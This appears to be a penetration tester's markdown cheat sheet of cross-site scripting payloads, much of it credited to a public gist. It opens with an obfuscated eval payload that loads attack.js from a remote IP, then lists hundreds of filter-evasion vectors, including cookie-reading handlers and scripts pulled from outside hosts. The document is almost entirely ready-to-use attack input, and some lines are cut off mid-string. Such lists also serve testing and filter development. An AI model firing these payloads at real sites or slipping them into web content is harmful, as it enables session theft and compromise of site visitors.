# XSS_Vectors

============= Cross Site Scripting

#ToDo: ADDING THE BASICS OF XSS

using eval() to execute a String

```
<img src="x/><script>eval(String.fromCharCode(document.write('<script src="http://10.10.14.5/attack.js"></script>');))<
Encode the document.write('<script src="http://10.10.14.5/attack.js"></script>');   part
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114
```

Start a listener to monitor request for the source

Python code to encode string to numeric ascii representation

```
def encode(ascii):
     decode_string = ""
     for char in ascii:
         decode_string += str(ord(char)) + ","
     return decode_string[:-1]
```

====================================================================

```
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

```
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
```

```
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
```

Anything below this is thanks to kurobeats
Source: https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
I did not create this kurobeats is an awesome person for having dumped this in his gist permission was given to use thi

```
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
```

```
<IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
"><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="aler
"><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen><
><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/chan
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<iframe src=http://xss.rocks/scriptlet.html <
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<iframe  src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=alert(1)&NewLine;
```

```
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /**/>/**/alert(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/one
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&T
<svg><script ?>alert(1)
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%2
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
```

```
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061'
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x0
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<script src=1 href=1 onerror="javascript:alert(1)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
```

```
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
\x3Cscript>javascript:alert(1)</script>
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script charset="\x22>javascript:alert(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
`"'><img src='#\x27 onerror=javascript:alert(1)>
<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:alert(1)// */</script>
<script>/* *\x00/javascript:alert(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
'`"><\x3Cscript>javascript:alert(1)</script>
```

```
'`"><\x00script>javascript:alert(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
<script src="data:text/plain\x2Cjavascript:alert(1)"></script>
<script src="data:\xD4\x8F,javascript:alert(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
<script src="data:\xCB\x8F,javascript:alert(1)"></script>
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
```

```
<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
